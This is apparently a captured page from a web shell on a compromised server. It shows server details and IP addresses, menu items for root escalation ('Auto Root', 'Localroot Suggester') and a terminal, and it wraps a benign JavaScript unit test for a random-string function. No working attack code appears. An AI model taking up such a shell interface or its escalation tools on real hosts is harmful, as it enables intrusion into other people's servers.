Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 216.73.216.222
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
ext /
test /
string /
Delete
Unzip
Name
Size
Permission
Date
Action
random.js
1.34
KB
-rw-rw-r--
2022-08-30 11:49
Save
Rename
"use strict"; var assert = require("chai").assert , random = require("../../string/random"); var isValidFormat = RegExp.prototype.test.bind(/^[a-z0-9]+$/); describe("string/random", function () { it("Should return string", function () { assert.equal(typeof random(), "string"); }); it("Should return by default string of length 10", function () { assert.equal(random().length, 10); }); it("Should support custom charset", function () { var charset = "abc"; var result = random({ charset: charset }); assert.equal(result.length, 10); for (var i = 0; i < result.length; ++i) { assert.isAtLeast(charset.indexOf(result.charAt(i)), 0); } }); it("Should ensure unique string with `isUnique` option", function () { assert.notEqual(random({ isUnique: true }), random({ isUnique: true })); }); it("Should contain only ascii chars", function () { assert(isValidFormat(random())); }); it("Should support `length` option", function () { assert.equal(random({ length: 4 }).length, 4); assert.equal(random({ length: 100 }).length, 100); assert.equal(random({ length: 0 }).length, 0); }); it("Should crash if unable to generate unique string with `isUnique` optin", function () { random({ length: 0, isUnique: true }); assert["throws"](function () { random({ length: 0, isUnique: true }); }, "Cannot generate random string"); }); });